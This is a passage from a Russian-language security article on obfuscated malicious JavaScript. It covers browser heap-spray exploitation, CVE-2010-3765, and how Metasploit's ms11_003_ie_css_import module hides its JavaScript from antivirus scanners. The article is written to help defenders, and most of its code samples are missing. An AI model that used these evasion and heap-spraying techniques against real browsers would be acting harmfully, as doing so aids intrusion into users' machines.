Данный JavaScript эксплуатирует уязвимость Remote Heap Buffer Overflow (удаленное переполнение буфера кучи) в браузере жертвы.
CVE данной уязвимости: CVE-2010-3765
Приведенный выше код передается функции eval(), которая запустит его в контексте браузера.
Обфускация JS во фреймворке Метасплоит
Фреймворк Метасплоит содержит богатую библиотеку эксплоитов. Касательно обфускации JavaScript в данном фреймворке нас будет интересовать библиотека браузерных эксплоитов.
Большинство браузерных уязвимостей эксплуатируются через JavaScript. В порядке вещей видеть JavaScript, используемый для создания распыляемой по куче полезной нагрузки, состоящей из шелл-кода и последовательности NOP-ов.
JavaScript также используется для эксплуатации уязвимости, позволяющей распылить данный шелл-код по пространству кучи.
Поскольку JS используется в качестве вектора атаки в браузерных эксплоитах, возникает необходимость обнаружения вредоносного JS-кода в веб-страницах. Такой способностью обладают антивирусные сканеры.
Тем не менее, возможности антивирусного ПО ограничены, как и возможности онлайновых JS-распаковщиков. Это было показано во втором и третьем разделе.
Мы рассмотрим поддержку обфускации JS в Метасплоит.
Сначала давайте посмотрим количество браузерных эксплоитов в последней версии фреймворка на момент написания данной статьи.
Итак, всего 162 модуля с браузерными эксплоитами, из которых 147 используют JavaScript для эксплуатации уязвимости в браузере или для манипуляции с памятью браузера.
Теперь давайте возьмем один из браузерных эксплоитов в качестве примера, чтобы понять, какие возможности по обфускации JS нам доступны.
Я рассмотрю следующий модуль: ms11_003_ie_css_import.
Он эксплуатирует уязвимость "повреждение памяти" в HTML-движке MS Internet Explorer. Эта уязвимость относится к классу "использование после освобождения", то есть, возникает, когда осуществляется доступ к ранее удаленному объекту C++. Специфическим для данного эксплоита требованием является наличие в веб-странице рекурсивных CSS-импортов.
Я покажу фрагменты модуля, относящиеся к JavaScript и то, как JavaScript используется для построения распыляемого по куче кода, а позднее обфусцируется.
Модуль эксплоита предоставляет опцию обфускации JavaScript.
В данном фрагменте JavaScript используется для манипуляции памятью IE.
#(special_sauce} относится к полезной нагрузке, сформированной скриптом.
Перед выделенным блоком мы можем видеть, что имя js_function генерируется случайно с помощью функции rand_text_alpha.
Js_function = rand_text_alpha(rand(100)+1)
Результирующий JavaScript хранится в метке-заполнителе custom_js.
Данный фрагмент использует библиотеку ::Rex::Exploitation::ObfuscateJS.new для обфускации сформированного ранее JavaScript, если опции OBFUSCATE в модуле эксплоита было присвоено значение True.
Результирующий обфусцированный JS хранится в variable js.
Итоговая вредоносная веб-страница конструируется с помощью сформированного ранее обфусцированного JavaScript.
#{js} -> представляет обфусцированный JavaScript
#{js_function} -> представляет случайно сгенерированное имя JS-функции, присутствующей внутри #{js}. Она вызвается в момент загрузки браузером веб-страницы с помощью события onload.
Вот какие значения имеют опции при загрузке эксплоита в консоль фреймворка, msfconsole. Я выделил опцию, отвечающую за обфускацию. По умолчанию она имеет значение true.
Заключение
После прочтения и понимания подхода, представленного в данном документе, вы, надеюсь, сможете бороться с существующими методами обфускации, использующимися во вредоносных JS, а также сможете расширять этот подход для борьбы с новыми приемами.
Ссылки
http://www.breakingpointsystems.com/community/blog/javascript-obfuscations-contest/
https://community.rapid7.com/community/metasploit/blog/2011/07/08/jsobfu
Где кванты и ИИ становятся искусством?
На перекрестке науки и фантазии — наш канал
Подписаться